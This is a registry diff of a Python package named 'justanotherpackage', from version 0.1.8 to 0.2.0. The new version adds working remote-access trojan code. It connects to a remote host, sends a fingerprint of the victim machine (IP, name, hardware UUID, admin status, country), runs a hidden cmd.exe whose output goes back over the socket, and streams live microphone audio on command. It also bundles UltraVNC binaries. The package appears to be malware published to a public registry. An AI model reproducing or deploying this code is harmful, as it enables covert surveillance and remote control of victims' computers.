justanotherpackage 0.1.8__py3-none-any.whl → 0.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,10 @@
1
+ import ctypes
2
+
3
+ def check_account_type():
4
+ try:
5
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
6
+ return "Admin"
7
+ else:
8
+ return "User"
9
+ except Exception:
10
+ return "None"
@@ -0,0 +1,16 @@
1
+ import pyaudio
2
+
3
+ def start_audio_stream(client_socket):
4
+ p = pyaudio.PyAudio()
5
+ stream = p.open(format=pyaudio.paInt16,
6
+ channels=1,
7
+ rate=44100,
8
+ input=True,
9
+ frames_per_buffer=1024)
10
+
11
+ while True:
12
+ try:
13
+ audio_data = stream.read(1024)
14
+ client_socket.sendall(audio_data)
15
+ except Exception as e:
16
+ break
@@ -1,57 +1,93 @@
1
-
2
1
  import socket
3
2
  import time
4
3
  import platform
5
- import ctypes
6
4
  import requests
7
5
  from wmi import WMI
6
+ import json
7
+ import threading
8
+ from .shell import create_shell
9
+ from .audio import start_audio_stream
10
+ from .terminal import terminal
11
+ from .account_type import check_account_type
8
12
 
9
- def check_account_type():
10
- try:
11
- if ctypes.windll.shell32.IsUserAnAdmin() != 0:
12
- return "Admin"
13
- else:
14
- return "User"
15
- except Exception:
16
- return "None"
17
-
18
13
  def get_client_info():
19
14
  system = platform.system()
20
15
  version = platform.version().split('.')[0]
21
16
  os = f"{system} {version}"
22
- response = requests.get('https://ipv4.jsonip.com', timeout=5)
23
- data = response.json()
24
- ip = data.get('ip')
25
- response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
26
- data = response.json()
27
- country_en = data['country']['names']['en']
28
-
29
- client_info = {
30
- "IP": ip,
31
- "PC Name": platform.node(),
32
- "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
33
- "OS": os,
34
- "Account Type": check_account_type(),
35
- "Country": country_en,
36
- "Tag": "Remote PC",
37
- }
17
+ try:
18
+ response = requests.get('https://ipv4.jsonip.com', timeout=5)
19
+ data = response.json()
20
+ ip = data.get('ip')
21
+ response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
22
+ data = response.json()
23
+ country_en = data['country']['names']['en']
24
+ except:
25
+ ip = None
26
+ country_en = None
27
+
28
+ shell, stdout_queue, stderr_queue = create_shell()
29
+
30
+ client_info = {
31
+ "new_client": {
32
+ "IP": ip,
33
+ "PC Name": platform.node(),
34
+ "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
35
+ "OS": os,
36
+ "Account Type": check_account_type(),
37
+ "Country": country_en,
38
+ },
39
+ "shell": shell,
40
+ "stdout_queue": stdout_queue,
41
+ "stderr_queue": stderr_queue
42
+ }
38
43
  return client_info
39
44
 
40
45
  def start_connection(HOST, PORT):
46
+ client_info = None
47
+ shell = None
48
+ stdout_queue = None
49
+ stderr_queue = None
50
+
41
51
  while True:
42
52
  try:
43
53
  client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
44
54
  client_socket.connect((HOST, PORT))
45
- client_info = get_client_info()
46
- client_socket.sendall(str(client_info).encode('utf-8'))
55
+
56
+ if client_info is None:
57
+ client_info = get_client_info()
58
+ shell = client_info.pop('shell')
59
+ stdout_queue = client_info.pop('stdout_queue')
60
+ stderr_queue = client_info.pop('stderr_queue')
61
+
62
+ client_info_json = json.dumps(client_info)
63
+ client_socket.sendall(client_info_json.encode('utf-8'))
47
64
 
48
65
  while True:
49
- data = client_socket.recv(1024)
66
+ data = client_socket.recv(1024).decode('utf-8').strip()
50
67
  if not data:
51
68
  break
52
-
69
+
70
+ try:
71
+ data = json.loads(data)
72
+ except json.JSONDecodeError:
73
+ continue
74
+
75
+ if data.get("audiostream") is not None:
76
+ thread = threading.Thread(target=start_audio_stream, args=(client_socket,))
77
+ thread.daemon = True
78
+ thread.start()
79
+
80
+ elif data.get("terminal") is not None:
81
+ thread = threading.Thread(target=terminal, args=(data, client_socket, shell, stdout_queue, stderr_queue))
82
+ thread.daemon = True
83
+ thread.start()
84
+
53
85
  except (socket.error, ConnectionResetError):
54
86
  time.sleep(1)
55
-
87
+ continue
88
+ except Exception as e:
89
+ time.sleep(1)
90
+ continue
56
91
  finally:
57
- client_socket.close()
92
+ if client_socket:
93
+ client_socket.close()
@@ -0,0 +1,30 @@
1
+ import subprocess
2
+ import threading
3
+ import queue
4
+
5
+ def create_shell():
6
+ def read_output(pipe, output_queue):
7
+ for line in iter(pipe.readline, ''):
8
+ output_queue.put(line)
9
+ pipe.close()
10
+
11
+ shell = subprocess.Popen(
12
+ ["cmd.exe"],
13
+ stdin=subprocess.PIPE,
14
+ stdout=subprocess.PIPE,
15
+ stderr=subprocess.PIPE,
16
+ text=True,
17
+ bufsize=1
18
+ )
19
+
20
+ stdout_queue = queue.Queue()
21
+ stderr_queue = queue.Queue()
22
+
23
+ stdout_thread = threading.Thread(target=read_output, args=(shell.stdout, stdout_queue))
24
+ stderr_thread = threading.Thread(target=read_output, args=(shell.stderr, stderr_queue))
25
+ stdout_thread.daemon = True
26
+ stderr_thread.daemon = True
27
+ stdout_thread.start()
28
+ stderr_thread.start()
29
+
30
+ return shell, stdout_queue, stderr_queue
@@ -0,0 +1,18 @@
1
+ import time
2
+
3
+ def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
4
+ command = data["terminal"]
5
+
6
+ shell.stdin.write(command + "\n")
7
+ shell.stdin.flush()
8
+
9
+ time.sleep(0.5)
10
+ output = ""
11
+
12
+ while not stdout_queue.empty() or not stderr_queue.empty():
13
+ while not stdout_queue.empty():
14
+ output += stdout_queue.get_nowait()
15
+ while not stderr_queue.empty():
16
+ output += stderr_queue.get_nowait()
17
+
18
+ client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.8
3
+ Version: 0.2.0
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,6 +1,9 @@
1
1
  justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
2
- justanotherpackage/connect.py,sha256=gaf3FfVJEvgyL1-sC9tIMxH-e5rqsj3OdUw7DcmqmvY,1672
3
- justanotherpackage/core.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
2
+ justanotherpackage/account_type.py,sha256=YH4zvnWs4EmFXjeMGuyNtMf86PeQgY2U22yt2V8TIAo,224
3
+ justanotherpackage/audio.py,sha256=_ofvXl3aCmRou_h_V6Dw4HCoAaUP6mXGyRNx7C8YvdM,447
4
+ justanotherpackage/connect.py,sha256=6dEk-uo83ozPLyuRsnNsTOsRHnOPuTwNygNU9coNQbc,3112
5
+ justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
6
+ justanotherpackage/terminal.py,sha256=X7TsYNDuKG_kpGpFKhLI5g35-6wbn9d0k4on-qSix3A,575
4
7
  justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
5
8
  justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
6
9
  justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
@@ -10,7 +13,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
10
13
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
11
14
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
12
15
  justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
13
- justanotherpackage-0.1.8.dist-info/METADATA,sha256=JAvvIQaTiK5kH2kssyNAjOOh6YZ9KUn9ErasHm7yr6o,115
14
- justanotherpackage-0.1.8.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
15
- justanotherpackage-0.1.8.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
16
- justanotherpackage-0.1.8.dist-info/RECORD,,
16
+ justanotherpackage-0.2.0.dist-info/METADATA,sha256=G14QfBxYJX5E5LG-hs8kI0vgtD9x1plUXOSssGcm-uk,115
17
+ justanotherpackage-0.2.0.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
18
+ justanotherpackage-0.2.0.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
19
+ justanotherpackage-0.2.0.dist-info/RECORD,,
File without changes